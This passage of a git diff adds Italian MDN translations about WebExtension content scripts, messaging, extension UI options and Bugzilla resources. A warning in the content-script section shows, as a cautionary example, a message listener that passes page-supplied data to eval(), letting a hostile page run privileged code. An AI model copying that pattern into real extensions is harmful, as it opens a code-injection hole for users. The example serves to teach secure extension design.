+<p>Consideriamo una pagina web come questa:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="content-type" content="text/html; charset=utf-8" /&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;script src="page-scripts/page-script.js"&gt;&lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Lo script "page-script.js" esegue:</p>
+
+<pre class="brush: js">// page-script.js
+
+// add a new element to the DOM
+var p = document.createElement("p");
+p.textContent = "This paragraph was added by a page script.";
+p.setAttribute("id", "page-script-para");
+document.body.appendChild(p);
+
+// define a new property on the window
+window.foo = "This global variable was added by a page script";
+
+// redefine the built-in window.confirm() function
+window.confirm = function() {
+  alert("The page script has also redefined 'confirm'");
+}</pre>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Ora un'estensione inietta uno script di contenuto nella pagina:</span></span></p>
+
+<pre class="brush: js">// content-script.js
+
+// can access and modify the DOM
+var pageScriptPara = document.getElementById("page-script-para");
+pageScriptPara.style.backgroundColor = "blue";
+
+// can't see page-script-added properties
+console.log(window.foo);  // undefined
+
+// sees the original form of redefined properties
+window.confirm("Are you sure?"); // calls the original window.confirm()</pre>
+
+<p>Lo stesso vale al contrario: gli script di pagina non possono vedere le proprietà JavaScript aggiunte dagli script di contenuto.</p>
+
+<p>Ciò significa che gli script di contenuto possono contare su proprietà DOM che si comportano in modo prevedibile, senza preoccuparsi delle sue variabili che si scontrano con le variabili dello script di pagina.</p>
+
+<p>Una conseguenza pratica di questo comportamento è che uno script di contenuto non avrà accesso a nessuna libreria JavaScript caricata dalla pagina. Ad esempio, se la pagina include jQuery, lo script di contenuto non sarà in grado di vederlo.</p>
+
+<p>Se uno script di contenuto desidera utilizzare una libreria JavaScript, la stessa libreria deve essere iniettata come script di contenuto insieme allo script di contenuto che vuole utilizzarlo:</p>
+
+<pre class="brush: json">"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["jquery.js", "content-script.js"]
+  }
+]</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Firefox <span class="tlid-translation translation" lang="it"><span title="">fornisce alcune API che consentono agli script di contenuto di accedere agli oggetti JavaScript creati dagli script di pagina e di esporre i propri oggetti JavaScript agli script di pagina.</span></span></p>
+
+<p>Vedere <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Condivisione di oggetti con script di pagina</a> per maggiori dettagli.</p>
+</div>
+
+<h3 id="WebExtension_APIs">WebExtension APIs</h3>
+
+<p>Oltre alle API DOM standard, gli script di contenuto possono utilizzare le seguenti API WebExtension:</p>
+
+<p>Da <code><a href="/en-US/Add-ons/WebExtensions/API/extension">extension</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#getURL()">getURL()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#inIncognitoContext">inIncognitoContext</a></code></li>
+</ul>
+
+<p>Da <code><a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#connect()">connect()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getManifest()">getManifest()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getURL()">getURL()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onConnect">onConnect</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onMessage">onMessage</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#sendMessage()">sendMessage()</a></code></li>
+</ul>
+
+<p>Da <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getMessage">getMessage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getAcceptLanguages">getAcceptLanguages()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getUILanguage">getUILanguage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/detectLanguage">detectLanguage()</a></code></li>
+</ul>
+
+<p>Da <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement">getTargetElement</a></code></li>
+</ul>
+
+<p>Tutto da <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code>.</p>
+
+<h3 id="XHR_e_Fetch">XHR e Fetch</h3>
+
+<p>Gli script di contenuto posso fare delle normali richieste usando <code><a href="/en-US/docs/Web/API/XMLHttpRequest">window.XMLHttpRequest</a></code> e <code><a href="/en-US/docs/Web/API/Fetch_API">window.fetch()</a></code> APIs.</p>
+
+<p>Gli script di contenuto ottengono gli stessi privilegi per i cross-domain del resto dell'estensione: quindi se l'estensione ha richiesto l'accesso tra cross-domain per un dominio utilizzando il tag <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> nel file manifest.json, i suoi script di contenuto ottengono l'accesso anche a quel dominio.</p>
+
+<p>Ciò si ottiene esponendo le istanze XHR e di recupero più privilegiate nello script di contenuto, che ha l'effetto collaterale di non impostare le intestazioni di <code><a href="/en-US/docs/Web/HTTP/Headers/Origin">Origin</a></code> e <code><a href="/en-US/docs/Web/HTTP/Headers/Referer">Referer</a></code> come una richiesta dalla pagina stessa, spesso è preferibile evitare che la richiesta sveli la sua natura trasversale. Dalla versione 58 in poi le estensioni che devono eseguire richieste che si comportano come se fossero inviate dal contenuto stesso possono utilizzare <code>content.XMLHttpRequest</code> e <code>content.fetch()</code> instead. Per le estensioni cross-browser, la loro presenza deve essere rilevata dalla funzione.</p>
+
+<h2 id="Communicazione_con_gli_script_di_background">Communicazione con gli script di background</h2>
+
+<p>Sebbene gli script di contenuto non possano utilizzare direttamente la maggior parte delle API di WebExtension, possono comunicare con gli script in background dell'estensione utilizzando le API di messaggistica e pertanto possono accedere indirettamente a tutte le API a cui possono accedere gli script in background.</p>
+
+<p>Esistono due schemi di base per la comunicazione tra gli script in background e gli script di contenuto: è possibile inviare messaggi una tantum, con una risposta opzionale, oppure è possibile impostare una connessione più longeva tra i due lati e utilizzare tale connessione per scambiare messaggi .</p>
+
+<h3 id="Messaggi_one-off">Messaggi one-off</h3>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Per inviare messaggi one-off, con una risposta opzionale, puoi utilizzare le seguenti API:</span></span></p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">In content script</th>
+   <th scope="col">In background script</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Invia un messaggi</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/sendMessage">browser.runtime.sendMessage()</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/sendMessage">browser.tabs.sendMessage()</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Ricevi un messaggio</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Ad esempio, ecco uno script di contenuto che si pone in ascolto degli eventi click in una pagina web.</span><br>
+ <br>
+ <span title="">Se il clic era su un collegamento, invia la pagina di sfondo con l'URL di destinazione:</span></span></p>
+
+<pre class="brush: js">// content-script.js
+
+window.addEventListener("click", notifyExtension);
+
+function notifyExtension(e) {
+  if (e.target.tagName != "A") {
+    return;
+  }
+  browser.runtime.sendMessage({"url": e.target.href});
+}</pre>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Lo script in background ascolta questi messaggi e visualizza una notifica utilizzando le</span></span> <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></code> API:</p>
+
+<pre class="brush: js">// background-script.js
+
+browser.runtime.onMessage.addListener(notify);
+
+function notify(message) {
+  browser.notifications.create({
+    "type": "basic",
+    "iconUrl": browser.extension.getURL("link.png"),
+    "title": "You clicked a link!",
+    "message": message.url
+  });
+}
+</pre>
+
+<p>(Questo codice di esempio è una riduzione dell'esempio <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> che è possibile trovare su GitHub.)</p>
+
+<h3 id="Messaggi_connection-based">Messaggi connection-based</h3>
+
+<p>L'invio di messaggi one-off può risultare complicato se si scambiano molti messaggi tra uno script in background e uno script di contenuto. Quindi uno schema alternativo è stabilire una connessione più longeva tra i due contesti e usare questa connessione per scambiare messaggi.</p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Ogni lato ha un oggetto</span></span> <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code>, <span class="tlid-translation translation" lang="it"><span title="">che può utilizzare per scambiare messaggi</span></span>.</p>
+
+<p>Per creare la connessione:</p>
+
+<ul>
+ <li>Un lato attende la connessione usando il metodo <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code></li>
+ <li>L'altro lato invoca:
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/connect">tabs.connect()</a></code> (se si connette con uno script di contenuto); o</li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/connect">runtime.connect()</a></code> (per connettersi a duno script di background).</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Questo metodo ritorna un oggetto di tipo <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code>.</p>
+
+<ul>
+ <li>il listener <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code> riceve un oggetto <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code>.</li>
+</ul>
+
+<p>Dopo che tutti e due i lati hanno una porta di comunicazione<span class="tlid-translation translation" lang="it"><span title=""> possono:</span></span></p>
+
+<ul>
+ <li>inviare messaggi usando <code>runtime.Port.postMessage()</code>, e</li>
+ <li>ricevere messaggi usando <code>runtime.Port.onMessage()</code></li>
+</ul>
+
+<p>Ad esempio, appena viene caricato, questo script di contenuto:</p>
+
+<ul>
+ <li>Si collega ad uno script di background</li>
+ <li>Memorizza la <code>Port</code> in una variabile <code>myPort</code></li>
+ <li>Ascolta i messaggi su <code>myPort</code>, e li visualizza nella console di log</li>
+ <li>Usa <code>myPort</code> per inviare messaggi allo script di background <span class="tlid-translation translation" lang="it"><span title="">quando l'utente fa clic sul documento</span></span></li>
+</ul>
+
+<pre class="brush: js">// content-script.js
+
+var myPort = browser.runtime.connect({name:"port-from-cs"});
+myPort.postMessage({greeting: "hello from content script"});
+
+myPort.onMessage.addListener(function(m) {
+  console.log("In content script, received message from background script: ");
+  console.log(m.greeting);
+});
+
+document.body.addEventListener("click", function() {
+  myPort.postMessage({greeting: "they clicked the page!"});
+});</pre>
+
+<p>Lo script di sfondo corrispondente:</p>
+
+<ul>
+ <li>attende i tentativi di connessione dallo script di contenuto</li>
+ <li>quando riceve un tentativo di connessione:
+  <ul>
+   <li>memorizza la porta in una variabile denominata <code>portFromCS</code></li>
+   <li>invia allo script del contenuto un messaggio utilizzando la porta</li>
+   <li>  inizia ad ascoltare i messaggi ricevuti sulla porta e li invia al log della console</li>
+  </ul>
+ </li>
+ <li>invia messaggi allo script di contenuto, utilizzando <code>portFromCS</code>, quando l'utente fa clic sull'azione del browser dell'estensione</li>
+</ul>
+
+<pre class="brush: js">// background-script.js
+
+var portFromCS;
+
+function connected(p) {
+  portFromCS = p;
+  portFromCS.postMessage({greeting: "hi there content script!"});
+  portFromCS.onMessage.addListener(function(m) {
+    console.log("In background script, received message from content script");
+    console.log(m.greeting);
+  });
+}
+
+browser.runtime.onConnect.addListener(connected);
+
+browser.browserAction.onClicked.addListener(function() {
+  portFromCS.postMessage({greeting: "they clicked the button!"});
+});
+</pre>
+
+<h4 id="Multipli_script_di_contenuto">Multipli script di contenuto</h4>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Se si dispone di più script di contenuto che comunicano contemporaneamente, è possibile memorizzare ciascuna connessione in un array.</span></span></p>
+
+<ul>
+</ul>
+
+<pre class="brush: js">// background-script.js
+
+var ports = []
+
+function connected(p) {
+  ports[p.sender.tab.id]    = p
+  //...
+}
+
+browser.runtime.onConnect.addListener(connected)
+
+browser.browserAction.onClicked.addListener(function() {
+  ports.forEach(p =&gt; {
+        p.postMessage({greeting: "they clicked the button!"})
+    })
+});
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="Communicazione_con_la_pagina_web">Communicazione con la pagina web</h2>
+
+<p>Sebbene per impostazione predefinita gli script di contenuto non abbiano accesso agli oggetti creati dagli script di pagina, possono comunicare con gli script di pagina utilizzando la API DOM <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage</a></code> e <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">window.addEventListener</a></code>.</p>
+
+<p>Per esempio:</p>
+
+<pre class="brush: js">// page-script.js
+
+var messenger = document.getElementById("from-page-script");
+
+messenger.addEventListener("click", messageContentScript);
+
+function messageContentScript() {
+  window.postMessage({
+    direction: "from-page-script",
+    message: "Message from the page"
+  }, "*");</pre>
+
+<pre class="brush: js">// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &amp;&amp;
+      event.data &amp;&amp;
+      event.data.direction == "from-page-script") {
+    alert("Content script received message: \"" + event.data.message + "\"");
+  }
+});</pre>
+
+<p>Per un esempio completo e funzionante, <a href="https://mdn.github.io/webextensions-examples/content-script-page-script-messaging.html">visitate la pagina demo su GitHub</a> e seguite le istruzioni.</p>
+
+<div class="warning">
+<p><span class="tlid-translation translation" lang="it"><span title="">Nota che ogni volta che si interagisce con contenuti web non fidati in questo modo, è necessario fare molta attenzione.</span> <span title="">Le estensioni sono codici privilegiati che possono avere potenti funzionalità e pagine Web ostili possono facilmente ingannarli per accedere a tali funzionalità.</span><br>
+ <br>
+ <span title="">Per fare un esempio banale, supponiamo che il codice dello script del contenuto che riceve il messaggio faccia qualcosa del genere:</span></span> </p>
+
+<pre class="brush: js">window.addEventListener("message", function(event) {
+  if (event.source == window &amp;&amp;
+      event.data.direction &amp;&amp;
+      event.data.direction == "from-page-script") {
+    eval(event.data.message);
+  }
+});</pre>
+
+<p>Ora lo script di pagina può eseguire qualsiasi codice con tutti i privilegi dello script di contenuto.</p>
+</div>
+
+<h2 id="Usare_eval()_in_uno_script_di_contenuto">Usare <code>eval()</code> in uno script di contenuto</h2>
+
+<p>In Chrome, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code> <span class="tlid-translation translation" lang="it"><span title="">esegue sempre il codice nel contesto dello script del contenuto, non nel contesto della pagina.</span></span></p>
+
+<p>In Firefox:</p>
+
+<ul>
+ <li>Se usate <code>eval()</code>, esso esegue il codice nel contesto dello <strong>script di conteneto</strong>.</li>
+ <li>Se usate <code>window.eval()</code>, esso esegue il code nel contesto della <strong>pagina</strong>.</li>
+</ul>
+
+<p>Per esempio, considerate uno script di contenuto simile a questo:</p>
+
+<pre class="brush: js">// content-script.js
+
+window.eval('window.x = 1;');
+eval('window.y = 2');
+
+console.log(`In content script, window.x: ${window.x}`);
+console.log(`In content script, window.y: ${window.y}`);
+
+window.postMessage({
+  message: "check"
+}, "*");</pre>
+
+<p>Questo codice crea semplicemente le variabili <code>x</code> e <code>y</code> usando <code>window.eval()</code> and <code>eval()</code>, quindi invia i loro valori al log della console, ed infine invia un messaggio alla pagina.</p>
+
+<p>Alla ricezione del messaggio, lo script della pagina invia le variabili al log della console:</p>
+
+<p> </p>
+
+<pre class="brush: js">window.addEventListener("message", function(event) {
+  if (event.source === window &amp;&amp; event.data &amp;&amp; event.data.message === "check") {
+    console.log(`In page script, window.x: ${window.x}`);
+    console.log(`In page script, window.y: ${window.y}`);
+  }
+});</pre>
+
+<p>In Chrome, si ottine questo risultato:</p>
+
+<pre>In content script, window.x: 1
+In content script, window.y: 2
+In page script, window.x: undefined
+In page script, window.y: undefined</pre>
+
+<p>In Firefox, invece, il risultato sarà il seguente:</p>
+
+<pre>In content script, window.x: undefined
+In content script, window.y: 2
+In page script, window.x: 1
+In page script, window.y: undefined</pre>
+
+<p>Lo stesso vale per <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>, <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code>, e <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>.</p>
+
+<div class="blockIndicator warning">
+<p><span class="tlid-translation translation" lang="it"><span title="">Quando si esegue il codice nel contesto della pagina, è necessario prestare molta attenzione.</span> <span title="">L'ambiente della pagina è controllato da pagine Web potenzialmente dannose, che possono ridefinire gli oggetti con cui interagire per comportarsi in modi imprevisti:</span></span></p>
+
+<pre class="brush: js">// page.js redefines console.log
+
+var original = console.log;
+
+console.log = function() {
+  original(true);
+}
+</pre>
+
+
+<pre class="brush: js">// content-script.js calls the redefined version
+
+window.eval('console.log(false)');
+</pre>
+</div>
diff --git a/files/it/mozilla/add-ons/webextensions/user_interface/index.html b/files/it/mozilla/add-ons/webextensions/user_interface/index.html
new file mode 100644
index 0000000000..bfc48bdc9e
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/user_interface/index.html
@@ -0,0 +1,89 @@
+---
+title: Interfaccia utente
+slug: Mozilla/Add-ons/WebExtensions/user_interface
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Le estensioni che usa le API delle WebExtension sono fornite con diverse opzioni dell'interfaccia utente che possono aggiungere nuove funzioni all'utente. Un elenco di queste opzioni è presente di seguito, in questa sezione è presente una descrizione dettagliata di ogni opzione.</p>
+
+<div class="note">
+<p>Per consigli sull'utilizzo di questi componenti UI per permettere un migliore utilizzo, da parte dell'utente, della vostra estensione, guardate l'articolo <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">UI option</th>
+   <th scope="col">Description</th>
+   <th scope="col" style="width: 350px;">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a> (browser action)</td>
+   <td>Un pulsante nella barra degli strumenti del browser che invia un evento all'estensione quando si fa clic sul pulsante. Per impostazione predefinita, il pulsante è visibile in tutte le schede.</td>
+   <td><img alt="Example showing a toolbar button (browser action)." src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="height: 364px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Toolbar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td><span class="tlid-translation translation" lang="it"><span title="">Una finestra popup che si attiva facendo clic su un pulsante nella barra degli strumenti del browser.</span> la finestra<span title=""> popup è definita in un documento HTML che gestisce l'interazione con l'utente.</span></span></td>
+   <td><img alt="Example of the pop-up on a toolbar button" src="https://mdn.mozillademos.org/files/15753/popup-shadow.png" style="height: 624px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a> (page action)</td>
+   <td><span class="tlid-translation translation" lang="it"><span title="">Un pulsante nella barra degli indirizzi del browser che invia un evento all'estensione quando si fa clic.</span> <span title="">Per impostazione predefinita, il pulsante è nascosto in tutte le schede.</span></span></td>
+   <td><img alt="Example showing an address bar button (page action) " src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="height: 348px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Address bar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td><span class="tlid-translation translation" lang="it"><span title="">Una finestra popup che si attiva facendo clic su un pulsante nella barra degli indirizzi del browser.</span> La<span title=""> finestra popup è definita in un documento HTML che gestisce l'interazione con l'utente.</span></span></td>
+   <td><img alt="Example of a popup on the address bar button" src="https://mdn.mozillademos.org/files/15747/page_action_popup.png" style="height: 524px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu item</a></td>
+   <td>Elementi del menu, caselle di controllo e pulsanti di opzione su uno o più menu di scelta rapida del browser. Inoltre, i menu possono essere strutturati aggiungendo separatori. Quando si fa clic su una voce del menu, un evento viene inviato all'estensione.</td>
+   <td><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15756/context_menu_example.png" style="height: 942px; width: 864px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebar</a></td>
+   <td>
+    <p dir="ltr"><span class="tlid-translation translation" lang="it"><span title="">Un documento HTML visualizzato accanto a una pagina Web, con l'opzione per contenuti unici per pagina.</span> <span title="">La barra laterale viene aperta quando viene installata l'estensione, quindi obbedisce alla selezione della visibilità della barra laterale dell'utente.</span> <span title="">L'interazione dell'utente all'interno della barra laterale è gestita dal suo documento HTML.</span></span></p>
+   </td>
+   <td><img alt="Example of a sidebar" src="https://mdn.mozillademos.org/files/15755/bookmarks-sidebar.png" style="height: 846px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></td>
+   <td>Una pagina che consente di definire le preferenze della vostra estensione che gli utenti possono modificare. L'utente può accedere a questa pagina dal gestore dei componenti aggiuntivi del browser.</td>
+   <td><img alt="Example showing the options page content added in the favorite colors example." src="https://mdn.mozillademos.org/files/15748/options_page.png"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Extension_pages">Extension page</a></td>
+   <td>Utilizzare le pagine Web incluse nell'estensione per fornire moduli, aiuto o qualsiasi altro contenuto richiesto, all'interno di finestre o schede.</td>
+   <td><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15752/bundled_page_as_panel_small.png" style="height: 432px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notification</a></td>
+   <td>Notifiche temporanee visualizzate all'utente tramite il meccanismo delle notifiche del sistema operativo sottostante. Invia un evento all'estensione quando l'utente fa clic su una notifica o quando una notifica si chiude (automaticamente o su richiesta dell'utente).</td>
+   <td><img alt="Example of an extension triggered system notification" src="https://mdn.mozillademos.org/files/15754/notify-shadowed.png" style="height: 294px; width: 780px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestion</a></td>
+   <td>Offre suggerimenti personalizzati sulla barra degli indirizzi quando l'utente inserisce una parola chiave.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15749/omnibox_example_small.png" style="height: 464px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panel</a></td>
+   <td>Una scheda con un documento HTML associato che viene visualizzato negli strumenti di sviluppo del browser.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15746/developer_panel_tab.png" style="height: 224px; width: 700px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le seguenti guide pratiche forniscono indicazioni dettagliate per la creazione di alcune di queste opzioni dell'interfaccia utente:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a></li>
+</ul>
diff --git a/files/it/mozilla/bugzilla/index.html b/files/it/mozilla/bugzilla/index.html
new file mode 100644
index 0000000000..83c9832732
--- /dev/null
+++ b/files/it/mozilla/bugzilla/index.html
@@ -0,0 +1,58 @@
+---
+title: Bugzilla
+slug: Mozilla/Bugzilla
+tags:
+  - Bugzilla
+  - Developing Mozilla
+  - 'Developing_Mozilla:Tools'
+  - NeedsTranslation
+  - QA
+  - Tools
+  - TopicStub
+translation_of: Mozilla/Bugzilla
+---
+<p><a class="link-https" href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a> (often abbreviated b.m.o) is Mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for Firefox, Thunderbird, SeaMonkey, Camino, and other mozilla.org projects.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentation about B.m.o.</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla" title="en/What_to_do_and_what_not_to_do_in_Bugzilla">What to do and what not to do in Bugzilla</a></dt>
+ <dd>Tips for how to use Bugzilla, as well as things you should avoid.</dd>
+ <dt><a class="link-https" href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">Bugzilla etiquette</a></dt>
+ <dd>A guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o. and how using proper manners and civility will help ensure your problem gets solved sooner rather than later.</dd>
+ <dt><a href="https://www.mozilla.org/quality/help/beginning-duplicate-finding.html" title="https://www.mozilla.org/quality/help/beginning-duplicate-finding.html">How to tell if a bug has already been reported</a></dt>
+ <dd>It's useful (but not mandatory) for you to check if the problem you're reporting has been already tracked. This guide will help you do so.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA" title="/en-US/docs/Mozilla/QA">Quality assurance</a></dt>
+ <dd>Documentation about quality assurance at Mozilla.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Bug writing guidelines</a></dt>
+ <dd>A guide to writing a good, understandable, bug that will be easily followed by the development team.</dd>
+ <dt><a href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch">How to submit a patch</a></dt>
+ <dd>If you've fixed a bug, or have implemented a new feature, you'll need to get your patch into the tree so it can become part of the product. This guide will teach you how!</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Bugzilla" title="/en-US/docs/tag/CSS">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 id="Other_materials">Other materials</h2>
+
+<ul>
+ <li><a class="external" href="https://www.bugzilla.org/about/">An Introduction to Bugzilla</a></li>
+ <li><a class="external" href="http://blog.johnath.com/2010/02/04/bugzilla-for-humans">Bugzilla for humans</a></li>
+ <li><a class="external" href="https://bugzilla.mozilla.org/page.cgi?id=quicksearch.html">Bugzilla QuickSearch help page</a>. QuickSearch is a quick, easy, and very effective way of quickly querying bugzilla.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia" title="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia">Testopia</a> - test case management extension</li>
+ <li><a class="external" href="https://www.bugzilla.org">bugzilla.org</a> - the project site</li>
+ <li>{{ interwiki('wikipedia', 'Bugzilla', 'wikipedia:Bugzilla') }} - general description of Bugzilla (not specific to Mozilla projects)</li>
+ <li><a href="https://wiki.mozilla.org/BMO">BMO on wiki.mozilla.org</a> - information about Mozilla's customized Bugzilla installation, including how to contribute to it</li>
+</ul>
+
+<h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+
+<ul>
+ <li><a href="https://fitzgen.github.io/bugzilla-todos/" title="https://harthur.github.io/bugzilla-todos/">Bugzilla Todos</a> lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.</li>
+ <li><a href="https://rawgit.com/leif81/bzkanban/master/index.html?product=Bugzilla&amp;milestone=Bugzilla+6.0&amp;assignee=&amp;comments=false&amp;site=https%3A%2F%2Fbugzilla.mozilla.org">Bz Kanban </a>is a board to visualize the status of bugs within a milestone.</li>
+</ul>
+</div>
+</div>
diff --git a/files/it/mozilla/bugzilla/testopia/index.html b/files/it/mozilla/bugzilla/testopia/index.html
new file mode 100644
index 0000000000..a7b2105705
--- /dev/null
+++ b/files/it/mozilla/bugzilla/testopia/index.html
@@ -0,0 +1,165 @@
+---
+title: Testopia
+slug: Mozilla/Bugzilla/Testopia
+tags:
